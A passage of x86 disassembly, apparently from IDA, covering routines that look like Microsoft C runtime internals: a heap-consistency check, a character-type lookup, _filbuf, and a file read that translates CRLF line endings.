0FFFFFFFFh jmp loc_421E49 ; --------------------------------------------------------------------------- loc_42185B: ; CODE XREF: sub_421830+21j mov edx, dword_4EFF7C mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_421882 ; --------------------------------------------------------------------------- loc_421873: ; CODE XREF: sub_421830+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_421882: ; CODE XREF: sub_421830+41j mov ecx, [ebp+var_120] cmp ecx, dword_4EFF78 jge loc_421E47 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call dword_4F1438 ; IsBadWritePtr test eax, eax jz short loc_4218C3 mov eax, 0FFFFFFFEh jmp loc_421E49 ; --------------------------------------------------------------------------- loc_4218C3: ; CODE XREF: sub_421830+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_421913 ; --------------------------------------------------------------------------- loc_42190A: ; CODE XREF: sub_421830+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_421913: ; CODE XREF: sub_421830+D8j cmp [ebp+var_C], 20h jge loc_421E0B mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_421956 ; --------------------------------------------------------------------------- loc_421947: ; CODE XREF: sub_421830+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_421956: ; CODE XREF: sub_421830+115j cmp [ebp+var_14C], 40h jge short loc_421972 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_421947 ; --------------------------------------------------------------------------- loc_421972: ; CODE XREF: sub_421830+12Dj cmp [ebp+var_4], 0 jl loc_421DAD push 8000h mov ecx, [ebp+var_128] push ecx call dword_4F1438 ; IsBadWritePtr test eax, eax jz short loc_42199C mov eax, 0FFFFFFFCh jmp loc_421E49 ; --------------------------------------------------------------------------- loc_42199C: ; CODE XREF: sub_421830+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_4219C0 ; --------------------------------------------------------------------------- loc_4219B1: ; CODE XREF: sub_421830+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_4219C0: ; CODE XREF: sub_421830+17Fj cmp [ebp+var_140], 8 jge loc_421B44 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_421A02 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_421A0C loc_421A02: ; CODE XREF: sub_421830+1C5j mov eax, 0FFFFFFFBh jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421A0C: ; CODE XREF: sub_421830+1D0j ; sub_421830+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_421A69 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_421A58 mov eax, 0FFFFFFFAh jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421A58: ; CODE XREF: sub_421830+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_421AAB ; --------------------------------------------------------------------------- loc_421A69: ; CODE XREF: sub_421830+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_421A8E mov [ebp+var_14C], 3Fh loc_421A8E: ; CODE XREF: sub_421830+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_421AAB: ; CODE XREF: sub_421830+237j cmp [ebp+var_148], 10h jl short loc_421ACD mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_421ACD cmp [ebp+var_148], 0FF0h jle short loc_421AD7 loc_421ACD: ; CODE XREF: sub_421830+282j ; sub_421830+28Fj mov eax, 0FFFFFFF9h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421AD7: ; CODE XREF: sub_421830+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_421AF8 mov eax, 0FFFFFFF8h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421AF8: ; CODE XREF: sub_421830+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_421A0C mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_421B34 mov eax, 0FFFFFFF8h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421B34: ; CODE XREF: sub_421830+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_4219B1 ; --------------------------------------------------------------------------- loc_421B44: ; CODE XREF: sub_421830+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_421B5B mov eax, 0FFFFFFF7h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421B5B: ; CODE XREF: sub_421830+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_421B76 ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421830+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_421B76: ; CODE XREF: sub_421830+33Bj cmp [ebp+var_14], 40h jge loc_421DAD mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_421B96: ; CODE XREF: sub_421830+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_421CDA mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_421CDA mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_421BEE mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_421BF8 loc_421BEE: ; CODE XREF: sub_421830+3A9j mov eax, 0FFFFFFF6h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421BF8: ; CODE XREF: sub_421830+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_421C24: ; CODE XREF: sub_421830+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_421C4E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_421C3C jmp short loc_421C4E ; --------------------------------------------------------------------------- loc_421C3C: ; CODE XREF: sub_421830+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_421C24 ; --------------------------------------------------------------------------- loc_421C4E: ; CODE XREF: sub_421830+3FDj ; sub_421830+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_421C63 mov eax, 0FFFFFFF5h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421C63: ; CODE XREF: sub_421830+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_421C8A mov [ebp+var_14C], 3Fh loc_421C8A: ; CODE XREF: sub_421830+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_421C9F mov eax, 0FFFFFFF4h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421C9F: ; CODE XREF: sub_421830+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_421CBA mov eax, 0FFFFFFF3h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421830+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_421B96 ; --------------------------------------------------------------------------- loc_421CDA: ; CODE XREF: sub_421830+381j ; sub_421830+397j cmp [ebp+var_168], 0 jz short loc_421D51 cmp [ebp+var_14], 20h jge short loc_421D1B mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_421D51 ; --------------------------------------------------------------------------- loc_421D1B: ; CODE XREF: sub_421830+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_421D51: ; CODE XREF: sub_421830+4B1j ; sub_421830+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_421D74 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_421D7E loc_421D74: ; CODE XREF: sub_421830+530j mov eax, 0FFFFFFF2h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421D7E: ; CODE XREF: sub_421830+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_421D99 mov eax, 0FFFFFFF1h jmp loc_421E49 ; --------------------------------------------------------------------------- loc_421D99: ; CODE XREF: sub_421830+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_421B6D ; --------------------------------------------------------------------------- loc_421DAD: ; CODE XREF: sub_421830+146j ; sub_421830+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_421DDA mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_421DE1 loc_421DDA: ; CODE XREF: sub_421830+590j mov eax, 0FFFFFFF0h jmp short loc_421E49 ; --------------------------------------------------------------------------- loc_421DE1: ; CODE XREF: sub_421830+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_42190A ; --------------------------------------------------------------------------- loc_421E0B: ; CODE XREF: sub_421830+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_421E2C mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_421E33 loc_421E2C: ; CODE XREF: sub_421830+5E9j mov eax, 0FFFFFFEFh jmp short loc_421E49 ; --------------------------------------------------------------------------- loc_421E33: ; CODE XREF: sub_421830+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_421873 ; --------------------------------------------------------------------------- loc_421E47: ; CODE XREF: sub_421830+5Ej xor eax, eax loc_421E49: ; CODE XREF: sub_421830+26j ; sub_421830+8Ej ... mov esp, ebp pop ebp retn sub_421830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E50 proc near ; CODE XREF: sub_41ABF0+66p ; sub_41B2F0+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_421E7A mov ecx, [ebp+arg_0] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_421F03 ; --------------------------------------------------------------------------- loc_421E7A: ; CODE XREF: sub_421E50+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_421EC3 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_421ED4 ; --------------------------------------------------------------------------- loc_421EC3: ; CODE XREF: sub_421E50+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_421ED4: ; CODE XREF: sub_421E50+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_42C100 add esp, 1Ch test eax, eax jnz short loc_421EF8 xor eax, eax jmp short loc_421F03 ; --------------------------------------------------------------------------- loc_421EF8: ; CODE XREF: sub_421E50+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_421F03: ; CODE XREF: sub_421E50+25j ; sub_421E50+A6j mov esp, ebp pop ebp retn sub_421E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F10 proc near ; CODE XREF: sub_41AEA0+182p ; sub_41BC90+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_421F19: ; CODE XREF: sub_421F10+31j cmp [ebp+arg_0], 0 jnz short loc_421F3D push offset dword_437514 push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_421F3D int 3 ; Trap to Debugger loc_421F3D: ; CODE XREF: sub_421F10+Dj ; sub_421F10+2Aj xor eax, eax test eax, eax jnz short loc_421F19 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_421F65 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_421F6D loc_421F65: ; CODE XREF: sub_421F10+46j or eax, 0FFFFFFFFh jmp loc_4220ED ; --------------------------------------------------------------------------- loc_421F6D: ; CODE XREF: sub_421F10+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_421F90 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_4220ED ; --------------------------------------------------------------------------- loc_421F90: ; CODE XREF: sub_421F10+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_421FBB mov ecx, [ebp+var_4] push ecx call sub_42C2C0 add esp, 4 jmp short loc_421FC6 ; --------------------------------------------------------------------------- loc_421FBB: ; CODE XREF: sub_421F10+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_421FC6: ; CODE XREF: sub_421F10+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_422100 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_421FFB mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_42202B loc_421FFB: ; CODE XREF: sub_421F10+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_4220ED ; --------------------------------------------------------------------------- loc_42202B: ; CODE XREF: sub_421F10+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_422091 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_422066 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_42206D ; --------------------------------------------------------------------------- loc_422066: ; CODE XREF: sub_421F10+131j mov [ebp+var_8], offset dword_451C50 loc_42206D: ; CODE XREF: sub_421F10+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_422091 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_422091: ; CODE XREF: sub_421F10+128j ; sub_421F10+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_4220C4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_4220C4 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_4220C4 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_4220C4: ; CODE XREF: sub_421F10+18Bj ; sub_421F10+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_4220ED: ; CODE XREF: sub_421F10+58j ; sub_421F10+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422100 proc near ; CODE XREF: sub_41AEA0+118p ; sub_421F10+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_422131 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42214C loc_422131: ; CODE XREF: sub_422100+Dj call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42217E ; --------------------------------------------------------------------------- loc_42214C: ; CODE XREF: sub_422100+2Fj mov edx, [ebp+arg_0] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_422190 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42BCE0 add esp, 4 mov eax, [ebp+var_4] loc_42217E: ; CODE XREF: sub_422100+4Aj mov esp, ebp pop ebp retn sub_422100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422190 proc near ; CODE XREF: sub_422100+64p ; sub_42C3D0+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_4221CB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_4221D2 loc_4221CB: ; CODE XREF: sub_422190+17j xor eax, eax jmp loc_4225D1 ; --------------------------------------------------------------------------- loc_4221D2: ; CODE XREF: sub_422190+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_422269 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_422269 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_422269: ; CODE XREF: sub_422190+62j ; sub_422190+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov eax, [edx+ecx] push eax call dword_4F13A4 ; ReadFile test eax, eax jnz short loc_4222E8 call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_4222C7 call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_4225D1 ; --------------------------------------------------------------------------- loc_4222C7: ; CODE XREF: sub_422190+118j cmp [ebp+var_8], 6Dh jnz short loc_4222D4 xor eax, eax jmp loc_4225D1 ; --------------------------------------------------------------------------- loc_4222D4: ; CODE XREF: sub_422190+13Bj mov edx, [ebp+var_8] push edx call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4225D1 ; --------------------------------------------------------------------------- loc_4222E8: ; CODE XREF: sub_422190+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_4225CE cmp [ebp+var_10], 0 jz short loc_422364 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_422364 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4EFC40[edx*4] mov [edx+eax+4], cl jmp short loc_42239A ; --------------------------------------------------------------------------- loc_422364: ; CODE XREF: sub_422190+18Ej ; sub_422190+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4EFC40[ecx*4] mov [ecx+edx+4], al loc_42239A: ; CODE XREF: sub_422190+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_4223A6: ; CODE XREF: sub_422190:loc_4225C0j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_4225C5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_42241E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_422419 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4EFC40[eax*4] mov [eax+ecx+4], dl loc_422419: ; CODE XREF: sub_422190+250j jmp loc_4225C5 ; --------------------------------------------------------------------------- loc_42241E: ; CODE XREF: sub_422190+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_42244A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_4225C0 ; --------------------------------------------------------------------------- loc_42244A: ; CODE XREF: sub_422190+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_4224A0 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_42247F mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42249B ; --------------------------------------------------------------------------- loc_42247F: ; CODE XREF: sub_422190+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42249B: ; CODE XREF: sub_422190+2EDj jmp loc_4225C0 ; --------------------------------------------------------------------------- loc_4224A0: ; CODE XREF: sub_422190+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov eax, [edx+ecx] push eax call dword_4F13A4 ; ReadFile test eax, eax jnz short loc_4224E9 call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_4224E9: ; CODE XREF: sub_422190+34Ej cmp [ebp+var_8], 0 jnz short loc_4224F5 cmp [ebp+var_10], 0 jnz short loc_422509 loc_4224F5: ; CODE XREF: sub_422190+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_4225C0 ; --------------------------------------------------------------------------- loc_422509: ; CODE XREF: sub_422190+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_422573 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_422545 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_422571 ; --------------------------------------------------------------------------- loc_422545: ; CODE XREF: sub_422190+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_422571: ; CODE XREF: sub_422190+3B3j jmp short loc_4225C0 ; --------------------------------------------------------------------------- loc_422573: ; CODE XREF: sub_422190+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_422595 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_422595 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov 